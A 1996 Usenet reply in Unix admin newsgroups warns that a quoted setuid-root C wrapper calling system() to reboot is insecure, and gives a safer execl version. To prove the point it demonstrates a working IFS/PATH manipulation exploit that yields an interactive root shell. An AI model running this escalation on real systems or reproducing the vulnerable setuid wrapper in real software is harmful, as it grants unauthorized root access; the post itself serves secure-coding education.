From mboxrd@z Thu Jan 1 00:00:00 1970 X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: f8c9b,afcdefdb0727bc81 X-Google-Attributes: gidf8c9b,public X-Google-Thread: 1020c6,afcdefdb0727bc81 X-Google-Attributes: gid1020c6,public X-Google-Thread: f72b0,afcdefdb0727bc81 X-Google-Attributes: gidf72b0,public X-Google-Thread: fee84,afcdefdb0727bc81 X-Google-Attributes: gidfee84,public From: andrewg@microlise.co.uk (Andrew Gierth) Subject: Re: --> How can *I* reboot my machine? <-- Date: 1996/07/20 Message-ID: #1/1 X-Deja-AN: 169018078 x-geek: (V3.1) x-nntp-posting-host: microl.demon.co.uk references: <4sodo0$rnb@newz.oit.unc.edu> <4sqnvv$loe@matterhorn.pinn.net> x-mayan-date: Long count = 12.19.3.6.0; tzolkin = 10 Ahau; haab = 3 Xul organization: Microlise Engineering Ltd. gcs/it/cc d-(pu) s: +> a- C++++$ UACHV++++$ P--- L E++ W(--) N+++ o? K? w--- x-attribution: AG newsgroups: comp.unix.admin,comp.unix.misc,comp.unix.questions,comp.unix.osf.osf1 >>>>> "Tom" == Tom Regan writes: Tom> Write a short C program (call it rboot) Tom> main() Tom> { Tom> setuid(0); Tom> setgid(0); Tom> system("/usr/sbin/reboot"); Tom> exit (0); Tom> } Tom> Set the owner to root, and chmod 4755. Just so you all know, on many systems this allows unlimited root access to be obtained trivially. For example, try $ cat >usr <<\@EOF #!/bin/sh IFS=' ' unset IFS PATH=/bin:/usr/bin:/etc exec /bin/sh -i @EOF $ chmod a+x usr $ PATH=. IFS=/ rboot # id uid=0(root) gid=0(root) # Some newer systems avoid this particular hole, but there are lots out there where it is still wide open. system() in a setuid program is a notorious source of holes. The correct version of the program is: #include #include int main(void) { setuid(0); setgid(0); execl("/usr/sbin/reboot","reboot",NULL); perror("exec"); return 1; } Assuming /usr/sbin/reboot is an executable and not a shell script, the above should be reasonably safe. -- Andrew Gierth (andrewg@microlise.co.uk)